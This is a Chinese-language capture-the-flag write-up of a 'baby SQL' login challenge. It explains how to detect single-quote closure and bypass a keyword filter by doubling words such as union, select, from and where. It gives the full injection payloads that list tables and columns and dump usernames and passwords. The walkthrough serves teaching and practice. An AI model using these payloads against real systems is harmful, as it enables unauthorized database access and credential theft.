看题:
让我们在登录界面进行SQL注入,可以在用户名处注也可以在密码处注,我选择密码处,用户名那里填个admin先:
首先,判断这是什么闭合方式,这里试了1' ,是单引号闭合:
使用万能密码试一下:
明显不行, 它是有过滤的,也不知道过滤了啥,在猜测他的字段数的时候发现了过滤:
order 变成了der,or被吞了,双写绕过:
双写绕过登录成功了 ,接着进行联合查询:
1' union select 1,2,database()#
又报错 ,又是过滤,进行如下双写:
1' ununionion seselectlect 1,2,database()#
绕过成功,or,union,select这些都被过滤了,下面同样双写进行:
查询“geek”库下的表:
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#
查到这两个表:'b4bsql,geekuser',题目名叫baby SQL,猜测要找到flag在“b4bsql”中,所以查询b4bsql:
1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#
查询到如上这些列名,查询username,password中的内容:
1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#
如此便成功找到flag。
这题的难点在于不知道过滤内容有哪些,我是通过双写一个一个的试出来的:ununionion ,seselectlect,frfromom,infoorrmation,passwoorrd,whwhereere这些要双写。